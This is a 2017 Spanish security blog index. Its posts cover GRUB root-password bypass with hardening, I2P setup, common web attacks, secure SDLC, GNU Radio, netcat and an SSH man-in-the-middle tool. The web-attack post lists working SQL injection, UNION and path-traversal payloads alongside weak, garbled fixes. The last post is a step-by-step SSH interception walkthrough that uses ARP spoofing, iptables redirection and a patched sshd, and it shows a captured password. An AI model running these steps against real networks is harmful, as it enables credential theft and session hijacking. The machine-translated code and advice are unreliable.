Blog sobre seguridad informática, privacidad, anonimato, hacking ético, programación y sistemas operativos en general.

domingo, 18 de junio de 2017

Como recuperar contraseña root en GNU/Linux (Cualquier distribución) y como configurar tu sistema para evitarlo.


Buenos días, queridos lectores. El día de hoy les queremos mostrar la manera de recuperar una contraseña root de un sistema GNU/Linux, la cual muchas veces hemos olvidado o en el momento de cambiarla, debido a una codificación diferente del teclado no ha querido como queríamos, les traemos la solución. Para realizar este cambio no necesitamos discos o software adicional, absolutamente nada y es muy pero muy sencillo, solo deben seguir los pasos que explicaré a continuación.

Importante: Para que este modo de recuperación de contraseña funcione es necesario que el GRUB no tenga contraseña (Más adelante explicaré como añadirle protección a nuestro GRUB).

1) Lo primero que debemos hacer es reiniciar nuestra PC y esperar a que cargue el GRUB, donde nos aparece la tipica pantall de acuerdo a nuestra distribución.


2) Presionamos la tecla 'e' para entrar en modo edición de las entradas del GRUB, nos debe aparecer algo similar a esto:


3) Buscamos la línea que inicia con "linux   /boot/vmlinuz-linux-* root=UUID=*** rw quiet" y al final añadimos "init=/bin/bash" como vemos a continuación.



4) Presionamos F10 para volver a nuestras opciones del grub y presioamos <Enter> para que nuestro sistema arranque, una vez inicia obtendremos una shell con privilegios root para realizar el cambio de contraseña que queramos, tanto de root como cualquier usuario.


Y como observamos tenemos todos los privilegios root y podemos realizar los cambios que deseemos.


Ahora que ya hemos cambiado nuestra contraseña root, reiniciamos nuestra PC, dejamos que inicie normalme y ya podemos ingresar con la contraseña que acabamos de asignar, así de sencillo es recuperarla.

Talvez muchas personas están pensando que la seguridad de GNU/Linux puede ser burlada de una manera tan fácil, esto no es un error de diseño o una falla de seguridad, esto es un error de configuración en el GRUB, un error nuestro. A continuación mostraremos como proteger nuestro sistema para evitar este cambio.

Como proteger nuestro sistema para evitar que nos cambien la contraseña con el procedimiento anterior.
Para los hackers, programadores, especialistas en seguridad informática y usuarios preocupados por su privacidad y seguridad, esto puede significar un riesgo inminente, pero como dije, es un error de configuración de nuestro GRUB y podemos corregirlo para que nadie pueda cambiar nuestra contraseña root de esta manera (Este cambio también puede realizarse con discos externos en un entorno chroot en discos que no estén cifrados). Para configurar de manera correcta nuestro GRUB, debemos realizar lo siguiente:

1) Creamos una contraseña que pueda ser reconocida por el GRUB, usando el comando #grub-mkpasswd-pbkdf2, escribimos la contraseña que deseemos y la confirmamos, si todo sale bien saldrá algo similar a lo que se muestra en la imagen:


2) Abrimos el archivo /etc/grub.d/40_custom con nuestro editor de texto favorito y añadimos las siguientes líneas en el final:

set superusers='user'
password_pbkdf2 'user' 'password'

Importante: El '$user' puede ser cualquiera, a tu gusto pero debes colocar el mismo user en los dos campos requeridos. En el campo password colocamos la contraseña generada en el paso anterior, esta comprende todo lo que aparece desde grub.pbkdf2.sha512.10000.* hasta el final. Las comillas no son necesarias.

3) Una vez que tengamos todo esto hecho, generamos un archivo de configuración de nuestro GRUB con los nuevos parámetros, utilizamos el comando grub-mkconfig -o /boot/grub/grub.cfg y esperamos a que finalize el proceso.

Una vez realizados estos pasos, cada vez que queramos iniciar nuestro sistema o modificar algún parametro en el GRUB al inicio, debemos proporcionar las credenciales asignadas anteriormente, solucionando de este modo el problema anterior.

Con esto damos por finalizado este post, esperamos que sea de su agrado y quedamos pendientes a comentarios. Si les gustó siguenos en Facebook, Twitter y unete a nuestra charla en Riot.

jueves, 15 de junio de 2017

Instalación y configuración de I2P (Invisible Internet Project) en Sistemas GNU/Linux.


El proyecto I2P (Invisible Internet Protocol) nació en el año 2003 de la mano de un grupo de hackers, desarrolladores y arquitectos del software con la finalidad de crear una red virtual privada que no pudiera ser censurada y contara con buenos niveles de protección y seguridad. El funcionamiento de I2P es similar al de conocidas redes como Tor el cual consiste en enrutar el tráfico de la red por varios puntos utilizando cadenas de proxys, sin embargo aunque posea similitudes con otras redes, la red I2P está basada en el concepto de túneles entrantes y salientes, lo cual ofrece facilidad para la adaptación de programas preexistentes a la red I2P. Cada túnel está compuesto por una secuencia de nodos padres, los cuales transportan la información en un sentido unidireccional. La red I2P no se molesta por el anonimato o por ocultar a sus usuarios como las demás, todo usuario puede ser visto por los demás usuarios pero nunca saber lo que envía, hace, su contenido y con quien se comunica. De esta manera aunque no sea su finalidad, brinda un gran nivel de anonimato al momento de establecer comunicaciones con otros usuarios I2P.

I2P está escrito en Java y es complementado con modulos escritos en C y C++, lo que lo hace multiplataforma y compatible con casi todos los sistemas operativos actuales. I2P facilita al usuario la creación de servidores HTTP, FTP, SSH o SMB sin necesidad de que este posea conocimientos avanzados, estos servicios se ejecutarán de forma anonima dentro de la red.

INSTALACIÓN.

Para realizar la instalación de I2P necesitamos descargar el paquete .jar desde https://geti2p.net/en/download#unix y luego usar la orden $java -jar i2pinstall_version.jar -console desde nuestra terminal de comandos.

Descarga.


 Instalación desde la línea de comandos.


Importante: Crear una carpeta llamada "i2p" dentro de /home/$user y realizar este proceso con un usuario diferente a #root.

Durante este proceso el instalador te preguntará tres cosas, aunque dos son obvias. La primera es si deseas iniciar el proceso de instalación, para ello escribes "1" y das enter, la segunda la ruta de instalación allí debes elegir una ruta dentro del sistema donde el usuario que se está utilizando tenga permisos de lectura/escritura/ejecución, la ruta más conveniente es /home/$user/i2p y la tercera pregunta es si realmente deseas realizar la instalación, repetimos los pasos de la primera. Ya hecho esto empezará el proceso de instalación y si todo sale bien nos mostrara al final un mensaje [ Console installation done ]. La instalación mostrada en el screenshot, fue realizada con Java versión "1.8.0_131".

[shl@SecHackLabs Descargas]$ java -version
openjdk version "1.8.0_131"
OpenJDK Runtime Environment (build 1.8.0_131-b11)
OpenJDK 64-Bit Server VM (build 25.131-b11, mixed mode)

Luego de realizada esta operación, debemos ir a la carpeta /home/$user/i2p y ejecutar el siguiente comando $sudo sh i2proute install y esperar a que finalize, seguido de esto abrimos el script i2proute con nuestro editor de texto favorito y desmarcamos la línea que dice RUN_AS_USER= y luego del = colocamos el nombre de nuestro usuario, en nuestro caso shl, lo cual quedaría así: RUN_AS_USER=shl, lo guardamos, salimos y ejecutamos $sh i2proute restart, e ingresamos a la siguiente dirección en nuestro navegador http://127.0.0.1:7657 y debe aparecernos esto en nuestro navegador.


Verificamos que los servicios que necesitemos, dependiento de lo que queramos estén activos abriendo la siguiente dirección http://127.0.0.1:7657/i2ptunnelmgr.


Más abajo tenemos la opción de iniciar otros servicios alternativos.


Para tener un mejor rendimiento del servicio, es altamente recomendable configurar el ancho de banda en http://127.0.0.1:7657/config, y ajustando los parámetros de salida/entrada de acuerdo a nuestra velocidad de internet teniendo en cuenta el tope máximo que allí referencian. Cabe aclarar que el valor debe ser dado en KiloBytes (Kb)


En la parte inferior damos en "Guardar cambios" y con eso estará todo listo.


CONFIGURACIÓN DEL NAVEGADOR PARA ABRIR ENLACES .I2P.

Llegamos al momento que todos esperábamos, luego de tener instalado I2P e iniciado el servicio ¿Como hago para navegar dentro de la red i2p? Sencillo, lo primero que debes hacer es configurar el proxy de tu navegador de la siguiente manera: Para conexiones HTTP - servidor proxy: 127.0.0.1 puerto. 4444, para conexiones HTTPS - servidor proxy: 127.0.0.1 puerto: 4445, si usas Mozilla Firefox, debe quedar así:
Y listo! Ahora podremos abrir direcciones .i2p en nuestro navegador tales como son:









Con esto damos por concluído este post, en otro post explicaremos el uso de otros protocolos i2p tales como IRC, FTP y similares. Esperamos que sea de su agrado, si les gustó siguenos en Facebook, Twitter y unete a nuestra charla en Riot.

martes, 13 de junio de 2017

¿Cómo podemos bloquear ataques web común y proteger nuestro sitio web?



R: Inyección SQL

-> Tipos
Formulario de acceso Anulación
de inyección SQL UNION

B: Cross Site Scripting

-> Cross Site Request Falsificación

C: File Inclusion

Tipos-> Inclusión de archivos remotos y ejecución remota de código

En este post les digo unos cinco tipos de ataques web comunes, que se utilizan en la mayoría de tipos de desfiguraciones o vertederos de bases de datos.

Los cinco vulnerabilidades mencionadas anteriormente son la inyección de SQL, XSS, RCE, RFI y LFI. La mayoría de las veces, nos perdimos algunas etiquetas de código de página web ..

coz de este obtenemos ataques de sitios web y permite al hacker para el ataque en el sitio web vulnerables.

R: Inyección SQL

-> INICIO DE FORMA ANULACIÓN

Este es un ejemplo del código vulnerable que podemos pasar por alto fácilmente:

archivo index.html:
<form action = método de”login.php” =”POST” />
<p> Contraseña: <input type = nombre de “pase””texto” = /> <br />
<input type =”submit ”value =” Autenticar”/> </ p>
</ form>

login.php archivo:
<? php
// EJEMPLO DE CÓDIGO
$ ejecutar = “SELECT * desde la base de datos donde password = '{$ _POST [' pass'])”;
$ resultado = mysql_query ($ ejecutar);
?>

Simplemente podemos evitar esto mediante el uso 'o '1 = 1', que ejecutará ‘password =’ o' 1 = 1” ;”.

Alternativamente, el usuario también puede eliminar la base de datos ejecutando “' gota base de datos de la tabla; - “.

PREVENCIÓN:

Utilizar mysql_real_escape_string en el código php.

Ejemplo:

<? php
$ badword = “ 'OR 1'”;
$ badword = mysql_real_escape_string ($ badword);
$ mensaje = “SELECT * desde la base de datos donde password =‘ '$ badword'’;
echo “bloqueados”. $ mensaje. “;
?>

-> UNION SQL Injection

inyección SQL UNION es cuando el usuario utiliza el comando UNION. Los controles de usuario para la vulnerabilidad mediante la adición de una garrapata al final de un “= .php? Id” archivo. Si se vuelve con un error de MySQL, el sitio más probable es vulnerable a la inyección SQL UNION. Se procede a utilizar ORDER BY para encontrar las columnas, y al final, utilizan la UNION ALL comando SELECT. Un ejemplo se muestra a continuación.

http://www.site.com/website.php?id=1 '

Usted tiene un error en su sintaxis SQL cerca”en la línea 1 SELECT SUM (cantidad)
como el tipo de las órdenes de donde (estado = 'completado' O estado = 'confirmados' O estado = 'pendiente') Y user_id = 1 '

Sin error-> http://www.site.com/website.php?id=1 ORDER BY 1-

Dos columnas, y se vuelve con un error! Esto significa que hay una columna.
http://www.site.com/website.php?id=1 ORDER BY 2-

Selecciona las todas las columnas y ejecuta el comando version () en la única columna.
http://www.site.com/website.php?id=-1 versión UNION SELECT ALL () -

SOLUCIÓN:

Añadir algo parecido a continuación para evitar la inyección SQL UNION.

$ = malo “(eliminar) | (actualización) | (unión) | (inserto) | (gota) | (http) | (-) | (/ *) | (seleccionar)”;
$ parche = eregi_replace ($ mal “”, $ parche);

B: Cross Site Scripting

Cross site scripting es un tipo de vulnerabilidad utilizada por los hackers para inyectar código en páginas web vulnerables.

Si un sitio es vulnerable a este tipo de ataque, más probables los usuarios tratan de inyectar el sitio con javascript malicioso o tratan de usuarios de estafa mediante la creación de un formulario donde los usuarios tienen que escribir su información en.

Dos tipos de XSS (cross site scripting) son XSS persistente y no persistente XSS.

Ejemplo:
http://www.site.com/search.php?q=”>

SOLUCIÓN

(JavaScript) (Gracias, Microsoft!):

function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\”|\’|\%|\;|\(|\)|\&|\+|\-/g,””);
return strTemp;
}

C: File Inclusion

Tipos: de inclusión remota de archivos / Inclusión de archivos locales, y la ejecución remota de código

La inclusión de archivos remoto permite a un hacker para incluir un archivo remoto a través de un script (por lo general de PHP). Este código está parcheado sobre todo en los sitios web, pero algunos sitios web siguen siendo vulnerables a la vulnerabilidad. RFI generalmente conduce a la ejecución remota de código Javascript o ejecución.

Ejemplo del código vulnerable:

<? php
include ($ _ [ 'page'] GET);
?>

Explotando sería algo como esto:
http://www.site.com/page.php?page=../../../../../etc/passwd o
http://www.site .com / page.php page = http: //www.site.com/xyz.txt?

SOLUCIÓN:

Validar la entrada.
$ page = $ _GET [ 'página'];
$ permitido = array ( 'index.php', 'games.php' 'ip.php');
$ iplogger = ( 'ip.php');
si (in_array página $, $ páginas)) {
incluir la página $ {
demás
{
incluir $ iplogger
die ( “IP registrada.”);
}

Para la ejecución remota de código, el sitio tendría que tener un php ejecutar comandos. Se podría arreglar esto de hacer la misma cosa.

Si les gustó siguenos en Facebook, Twitter y unete a nuestra charla en Riot.

martes, 6 de junio de 2017

Servicios de auditoría de seguridad para garantizar la protección de vulnerabilidades de aplicaciones Web



En estos días, los sitios web son el blanco de constantes ataques, que pueden ser iniciadas desde cualquier lugar en todo el mundo. En resumen, la seguridad Web consiste en garantizar niveles adecuados de los aspectos fundamentales tales como la confidencialidad, integridad, disponibilidad y no la reputación con respecto a los datos o la información almacenada en las computadoras.

Auditoría de seguridad Web es reconocido como uno de los temas más de moda en tecnologías de la información. Debido al creciente número de hackers y spammers cada día, la seguridad web se está convirtiendo en una preocupación primordial y reto para las organizaciones. 

Existen vulnerabilidades en la Web si la seguridad de aplicaciones web no se tiene cuidado. Esto significa que no sólo toda su base de datos de información sensible está en riesgo, pero su sitio web también puede convertirse en el lugar de lanzamiento de las actividades delictivas como el phishing o se puede utilizar para transferir contenido ilegal.

Algunos de los métodos utilizados por los hackers para atacar sitios web son:

1: Inyección SQL
El proceso de inserción de sentencias SQL en alguna consulta a través de la interfaz de usuario de la aplicación web, que luego es ejecutado por el servidor.

2: Cross Site Scripting (XSS)
Cuando un usuario inserta HTML o script del lado del cliente en la interfaz de usuario de una aplicación web, que es visible para otros usuarios también.

3: Vulnerabilidad
Se identifica como una falla en la aplicación web, causada debido a los errores en la aplicación o la presencia de virus.

Beneficios de la Auditoría Seguridad del sitio web:

Detección Temprana Etapa: Reducción del coste, el riesgo y la complejidad mediante la detección y solución de vulnerabilidades de seguridad de aplicaciones temprano en el ciclo de vida del software de desarrollo.


· Seguro SDLC: Posibilidad de insertar los controles de seguridad en cada etapa del SDLC.
· Altos estándares de seguridad: Aumenta la confianza del usuario final en la seguridad de aplicaciones web mediante el cumplimiento de los estándares de seguridad más altos.
· Equipo de expertos: mejorar los conocimientos especializados para sus equipos de seguridad.
La finalidad de la prueba de seguridad es descubrir las vulnerabilidades de la aplicación web para que los desarrolladores puedan eliminarlos y hacer que la aplicación web y segura de datos del acceso no autorizado.

¿Cuál es exactamente el SDLC?

Organizaciones en desarrollo aplicaciones tienen en el lugar un proceso por el que cada aplicación está diseñado, desarrollado, probado, y desplegado. Esta secuencia de etapas que definen estos procesos se denomina el ciclo de vida de desarrollo de software, a menudo referido como el SDLC.

SDLC de una organización ayuda a dar forma a la manera en que sus aplicaciones se construyen y se definen los procesos exactos de cada aplicación debe ir a través, así como los hitos de una aplicación necesita para golpear antes de ir a la siguiente etapa del SDLC.

¿Qué es exactamente un seguro SDLC?

Un seguro SDLC es un proceso que tiene puntos de contacto con la seguridad en todas las etapas, así como los hitos de seguridad. Ir seguro de SDLC más allá de la estructura actual SDLC con el fin de asegurar que las aplicaciones que se despliegan son seguras después de la liberación, sin crear un retraso en el SDLC originales.

Las mayores ventajas de las organizaciones que adoptan un seguro SDLC es la creación de una alta calidad, producto de seguro

Tanto SDLC y protegido SDLC normalmente giran en torno a cinco etapas, donde en cada etapa del SDLC (Requisitos, diseño, desarrollo, prueba y despliegue) existen procesos de seguridad que hay que hacer durante ese tiempo: La evaluación de riesgos, el modelado de amenazas y la revisión del diseño, el análisis estático, las pruebas de seguridad y revisión de código, y finalmente la evaluación de la seguridad y la configuración segura.

Análisis estático para un SDLC 
análisis de código estático (SCA) es una de las fuerzas impulsoras detrás de la filosofía seguro SDLC  después de que los requisitos han sido claramente definido y aclarado a los desarrolladores.

Una de las mayores ventajas del uso de análisis de código estático en todo el SDLC es que la prueba puede ser totalmente automatizado, lo que permite a los desarrolladores implementar prácticas de codificación segura y desinfectar todo el proceso de desarrollo con el mínimo esfuerzo. los plazos de lanzamiento de productos pueden ser fácilmente satisfechas sin reducir la calidad o la liberación de los problemas de seguridad de riesgo.

En un SDLC, herramientas de análisis de código estático se pueden encontrar de forma rápida y desarrolladores de ayudar a proteger contra SQL Inyecciones, Cross-Site Scripting (XSS), Cross-Site Request Falsificación (CSRF) y otros ataques maliciosos. Sin un SDLC seguro mediante análisis de código estático, no hay garantía de que una aplicación está en libertad sin vulnerabilidades de seguridad.

Las mejores prácticas para el establecimiento de un seguro SDLC para la Seguridad desarrollo de aplicaciones:

Crear una política de romper la acumulación cuando se descubre una vulnerabilidad media o de alto nivel. No ponga su aplicación y la organización en riesgo - asegurarse de que las aplicaciones que estés liberando están libres de vulnerabilidades de alto riesgo.

Entender su negocio y proteger a los que con seguridad las aplicaciones. Si conoces los riesgos a que se enfrenta su empresa entonces es más fácil desarrollar software que protege contra esos riesgos. Desarrollo de aplicaciones de seguridad puede ofrecer la prevención de riesgos en la forma de frenar un enfoque de mercado (como la aplicación de los frenos en un coche) o acelerarlo (como empujar el acelerador) el truco es saber qué se necesita y cuándo.

Conocer la tecnología de su aplicación.  Es necesario tener en cuenta la tecnología a través de su plataforma. El idioma de su entorno puede ser dictado por preocupaciones de seguridad - por ejemplo, código de la ONU gestionados pueden ofrecer una mayor susceptibilidad a desbordarse ataques que los entornos de código administrado. Es necesario examinar los anfitriones, la segregación de la red y la infraestructura de clave, además del entorno de codificación y garantizar que no haya agujeros obvios (o no evidentes).

El cumplimiento es clave.  Asegúrese de que los requisitos de cumplimiento se cumplen a través de su seguro SDLC asegurando todas las pruebas, revisiones de código y pen-pruebas se incluyen dentro de su proceso. El SDLC seguro va más allá de la seguridad para incluir también de gobierno, los reglamentos y el cumplimiento marco de privacidad según lo requiera su entorno.

Educar a los desarrolladores.  Es esencial que los desarrolladores a entender la importancia de los conceptos de seguridad en aplicaciones tales como la confidencialidad, integridad, disponibilidad, autenticación y autorización.

Integración en el entorno de desarrollo. Más allá de los desarrolladores de enseñanza acerca de las prácticas de codificación segura y cuál es su papel en el SDLC seguro será, es igualmente importante para asegurar las herramientas que decide y uso se adapta bien para el entorno de desarrollo, la integración con el mayor número de procesos establecidos como sea posible.

Análisis de código fuente es su amigo. Entornos ágiles que buscan actualizar a un SDLC seguro son el lugar perfecto para análisis de código fuente para ser implementado. Una herramienta de análisis de código fuente sólida ofrece las ventajas de la lectura de códigos incrementales, la exploración de múltiples idiomas, una información rápida y asistencia desarrollador en la mitigación de vulnerabilidades en su código. Con el análisis de código fuente en su tubería, las aplicaciones pueden ser asegurados antes incluso de estar en la producción - a pesar de post-producción, la seguridad sigue siendo muy importante.

Mantener el aprendizaje. La seguridad es un campo en evolución. Desarrollo de aplicaciones de seguridad requiere un ciclo constante de revisión, la educación y la aplicación. Las mejores prácticas de hoy puede no ser las mejores prácticas mañana. Lo más importante es que es vital que todos los miembros de su equipo reconoce que la seguridad es tarea de todos y comprometerse a su parte en esto.

¿Por qué las empresas deben integrar las herramientas de pruebas de seguridad en un SDLC  para aplicaciones seguras?

Amenazas Web son uno de los mayores riesgos potencialmente devastadora que las empresas con una cara presencia en la web hoy en día. El malware es la principal amenaza para las empresas, y los costos asociados con la defensa desde y recuperarse de los ataques de malware se extiende en los mil millones de dólares cada año. Sin embargo, la seguridad de la red se ha vuelto increíblemente eficiente en los últimos años, lo que ha causado a los atacantes dirigen su atención a otras zonas vulnerables - especialmente la capa de aplicación. El código de aplicación con fallas de seguridad puede ser explotado para tener consecuencias devastadoras, no deseados en una organización y sus clientes. Las brechas de datos cuestan a las empresas millones de dólares al año, pero las herramientas de pruebas de software ofrecen una línea útil de defensa contra este tipo de ataques maliciosos.


martes, 23 de mayo de 2017

¿Que es GNU Radio?


Es un conjunto de herramientas de desarrollo de software libre y de código abierto que proporciona bloques de procesamiento de señales para implementar radios de software. Se puede utilizar con el hardware de RF externa bajo costo fácilmente disponible para crear radios definidos por software, o sin hardware en un entorno de simulación similar. Es ampliamente utilizado en el aficionado, entornos comerciales y académicos para apoyar tanto la investigación de comunicaciones inalámbricas y sistemas de radio del mundo real.

GNU Radio está disponible bajo la Licencia Pública General de GNU (GPL) versión 3 o posterior. Todo el código es propiedad de la Fundación para el Software Libre.

En resumen, una radio software es un sistema de radio que lleva a cabo el procesamiento de la señal requerida en el software en lugar de utilizar circuitos integrados dedicados en el hardware. La ventaja es que ya que el software puede ser fácilmente reemplazado en el sistema de radio, el mismo hardware se puede utilizar para crear muchos tipos de radios para muchos estándares de transmisión diferentes; por lo tanto, una radio software puede ser utilizado para una variedad de aplicaciones!

realiza todo el procesamiento de la señal. Se puede utilizar para escribir aplicaciones para recibir datos de flujos digitales o para enviar datos en corrientes digitales, que se transmite a continuación el uso de hardware. GNU Radio tiene filtros, códigos de canal, elementos de sincronización, ecualizadores, demoduladores, vocoders, decodificadores, y muchos otros elementos (en la jerga de GNU Radio, llamamos a estos elementos de bloques ) que se encuentran típicamente en sistemas de radio. Más importante aún, se incluye un método para conectar estos bloques y luego se administra la forma se hace pasar datos de un bloque a otro. Extendiendo GNU Radio también es bastante fácil; si encuentra un bloque específico que falta, puede crear de forma rápida y añadirlo.

Desde el software Radio GNU, sólo puede manejar datos digitales. Por lo general, las muestras de banda de base complejas son el tipo de datos de entrada para los receptores y el tipo de datos de salida para los transmisores. hardware analógico se utiliza para desplazar la señal a la frecuencia central deseada. Ese requisito de lado, cualquier tipo de datos se puede transmitir de un bloque a otro - ya sea bits, bytes, vectores, ráfagas o tipos de datos más complejos.

Aplicaciones de radio de GNU se escriben principalmente utilizando el lenguaje de programación Python, mientras que el, camino de procesamiento de señales de rendimiento crítico suministrado está implementado en C ++ utilizando el procesador extensiones Point, donde flotantes disponibles. Por lo tanto, el desarrollador es capaz de implementar en tiempo real, sistemas de radio de alto rendimiento en un entorno fácil de usar, rápido de desarrollo de aplicaciones.

Sin embargo, hay maneras de usar GNU Radio sin ser capaz de código. En primer lugar, está el compañero de GNU Radio , una interfaz gráfica de usuario similar a Simulink. Se le permite crear aplicaciones de procesamiento de señales mediante arrastrar y soltar. Además, GNU Radio viene con un conjunto de listas para el uso de herramientas y programas de utilidad . Estos sirven para gestionar las operaciones más básicas, tales como la grabación de señales de RF y la realización de análisis de espectro. Si esto ha despertado su interés, tal vez echar un vistazo a la guía del principiante a utilizar GNU Radio .

Si desea ampliar GNU Radio (es decir, añadir una nueva funcionalidad), sin embargo, entonces usted debe escribir código. Para la creación de aplicaciones que son demasiado complejos para el compañero de GNU Radio, Python es la forma más fácil de seguir. Para el código de rendimiento crítico, debe escribir código C ++.

GNU Radio está disponible bajo la Licencia Pública General de GNU (GPL) versión 3. Todo el código es propiedad de la Fundación para el Software Libre.

Netcat "poderosa herramienta de uso en el hacking"


En el campo del hacking la poderosa herramienta mas utilizada de uso por el ataque es conocido popularmente como “Netcat”, que es una función de las redes de computadoras para el análisis y la escritura en las conexiones de red mediante TCP o UDP.

Fue originalmente desarrollada por Hobbit en 1996 y liberada bajo una licencia de software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX. Posteriormente fue portada a Windows y Mac OS X entre otras plataformas. Existen muchos forks de esta herramienta que añaden características nuevas como GNU Netcat o Cryptcat.

Netcat está diseñado para ser un back-end fiable que se puede utilizar directamente o fácilmente impulsado por otros programas y scripts. 

Al mismo tiempo, es una herramienta de depuración e investigación de la red rica en características; ya que puede crear casi cualquier tipo de conexión de su usuario podría necesitar y tiene una serie de capacidades incorporadas.

Garbing Banner, shell bind (puerta trasera), en el chat, carga y descarga de archivos, escaneo de puertos, golpeo de puertos,el reenvío de puertos y también mostrar contenido del archivo del servidor web HTTP. son algunos ejemplo que puedes realizar netcat.

Hay tantas opciones dentro netcat para mejorar su función y efecto cuando se  escriba nc -h  en el terminal. Antes de entrar en el interior de sus datos de trabajo debe conscientes de que aquí teníamos utilizar un sistema de dos atacante como a los otros como sistema de destino.


Golpeo de puertos: 
$ nc hostname puerto

Escaneo de puertos:
Netcat también puede escanear el puerto TPC y UDP por lo que puede ser su uso en el lugar de Nmap que nos dirá sobre el puerto de apertura y cierre de la IP específica

El siguiente comando muestra blanco de la radio IP y el puerto

-z: zero-I/0 modo  [utilizado para el escaneo]

-w: tiempo de espera para los conecta y lee neto final

-v: -v verboso

-1: modo de escucha, de Conexiones entrantes

-n: sólo numérico direcciones IP,

ejemplo:

$ nc -v -n -z -w 1 hostname 70-6500

Para instalar netcat en ArchLinux:

$ sudo pacma -S netcat


Más funciones de netcat:

Copiar imagen de disco duro de host A a host B

-----------------------
HostA // 192.168.1.1
------------------------
          sda
       NETWORK
          sdb
------------------------
HostB // 192.168.1.2
-------------------------
En el host B ejecutamos: # netcat -p 2222 -l |bzip2 -d | dd of=/dev/sdb

Y en el host B ejecutamos:

# bzip2 -c /dev/sda | netcat hostA 2222 o se puede usar la ip:
# bzip2 -c /dev/sda | netcat 192.168.1.1 2222


On hostA, enter:

# nc -l 2222 > /dev/sdb
On hostB, enter:
# nc hostA 2222< /dev/sda
O
# nc 192.168.1.1 2222< /dev/sda

Utilizando una segunda máquina (hostB), conéctese al proceso nc de escucha en 2222 (hostA), alimentándose con el archivo (/ dev / sda) que se va a transferir, Puede utilizar bzip2 de la siguiente manera.
On hostA, enter:
# nc -l 2222 | bzip2 -d > /dev/sdb
On hostB, enter:
# bzip2 -c /dev/sda | nc 192.168.1.1 2222

Creando un modelo cliente servidor.

Es relativamente simple crear un modelo cliente/servidor. Desde una terminal que será utilizada para iniciar un modelo de servidor, se ejecuta netcat con la opción -l (listen o escuchar) seguida de un número de puerto que esté desocupado. Esto hará que netcat se comporte como servidor escuchando peticiones en un puerto arbitrario. En el siguiente ejemplo se ejecuta netcat para que funcione como servidor escuchando peticiones en el puerto 22222.

$ netcat -l 22222



Para finalizar netcat es al mismo tiempo muy fácil y polivalente, es como tratar de explicar todo lo que puede hacer con su navaja suiza.

sábado, 20 de mayo de 2017

Herramienta Pruebas de Penetración SSH man-in-the-middle



Esta herramienta de pruebas de penetración permite que un auditor para interceptar las conexiones SSH. 


Un parche que se aplica al código fuente v7.5p1 OpenSSH hace que actuar como un proxy entre la víctima y su servidor SSH que está destinado; todas las contraseñas en texto plano y las sesiones se graban en el disco. 

Por supuesto, el cliente SSH de la víctima se quejan de que la clave del servidor ha cambiado. Pero debido a 99,99999% de las veces esto es causado por una acción legítima (OS re-instalar, cambio de configuración, etc.), muchos / la mayoría de usuarios no tendrá en cuenta la advertencia y continuar. 

NOTA: Sólo ejecutar el sshd modificado en una máquina virtual o un contenedor! Ediciones ad-hoc se realizaron a las fuentes de OpenSSH en regiones críticas, sin tener en cuenta sus consecuencias para la seguridad. No es difícil imaginar que estas modificaciones introducen vulnerabilidades graves. Hasta que se elimine la dependencia de los privilegios de root, asegúrese sólo para ejecutar este código en MVS / envases de usar y tirar.

Que hacer

Esta es la primera versión de esta herramienta. Si bien es muy útil como está, sin embargo hay cosas que mejorar:

SFTP MITM'ing.
Añadir soporte de reenvío de puertos.
Retire la dependencia de los privilegios de root.
Crea un script que detecta cuando el usuario está tratando de utilizar la autenticación de clave única, y de-spoof de forma automática.

Configuración inicial: 

1.) Instalar zlib y openssl headers:

sudo apt install zlib1g-dev libssl-dev

2.) Descargar OpenSSH v7.5p1 y verifcar su firma:

wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/RELEASE_KEY.asc
wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz
wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz.asc
gpg --import RELEASE_KEY.asc
gpg --verify openssh-7.5p1.tar.gz.asc openssh-7.5p1.tar.gz

3.) Descomprime el código, parchear las fuentes, y compilarlo:

tar xzf openssh-7.5p1.tar.gz
patch -p0 < openssh-7.5p1-mitm.patch
mv openssh-7.5p1 openssh-7.5p1-mitm; cd openssh-7.5p1-mitm; ./configure --with-sandbox=no && make -j 10

4.) Crear claves y el entorno de configuración:
sudo ssh-keygen -t ed25519 -f /usr/local/etc/ssh_host_ed25519_key < /dev/null
sudo ssh-keygen -t rsa -b 4096 -f /usr/local/etc/ssh_host_rsa_key < /dev/null
sudo useradd -m sshd && sudo useradd -m bogus && sudo chmod 0700 ~sshd ~bogus
sudo mkdir /var/empty; sudo cp ssh ~bogus/

Corremos el ataque: 

1.) Correr sshd:
cd /path/to/openssh-7.5p1-mitm
sudo $PWD/sshd -f $PWD/sshd_config

2.) Habilitar el reenvío IP:
sudo bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -P FORWARD ACCEPT

3.) Permitir conexiones a sshd y modificar el trazado remitido conexiones SSH:
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 22

4.) ARP spoof un objetivo (s) (Protip: no suplantar todas las cosas que su interfaz de red débil probablemente no será capaz de manejar el tráfico de toda una red de una sola vez suplantar Sólo un par de direcciones IP a la vez) arpspoof -r -t 192.168.x.1 192.168.x.5

5.) Monitor auth.log. Intercepted passwords will appear here:
sudo tail -f /var/log/auth.log

6.) Una vez que se establece una sesión, un registro completo de toda la entrada y salida se pueden encontrar en /home/bogus/session_*.txt.

Muestra de resultados: 

Tras el éxito, /var/log/auth.log tendrá que registran las líneas de la contraseña, asi:

May 16 23:14:01 showmeyourmoves sshd[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

Por otra parte, toda la sesión SSH de la víctima se encuentra en  /home/bogus/session_*.txt:

# cat /home/bogus/session_0.txt
Last login: Tue May 16 21:35:00 2017 from 10.50.22.x
OpenBSD 6.0-stable (GENERIC.MP) #12: Sat May  6 19:08:31 EDT 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Utilice el sendbug (1) utilidad para informar de los errores en el sistema. 
Antes de informar de un error, intenta reproducirla con la última versión del código. Con los informes de error, intenta garantizar que la información suficiente para reproducir el problema está encerrado, y si una solución conocida para ella existe, que incluirá también.

jdog@jefferson ~ $ ppss
PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
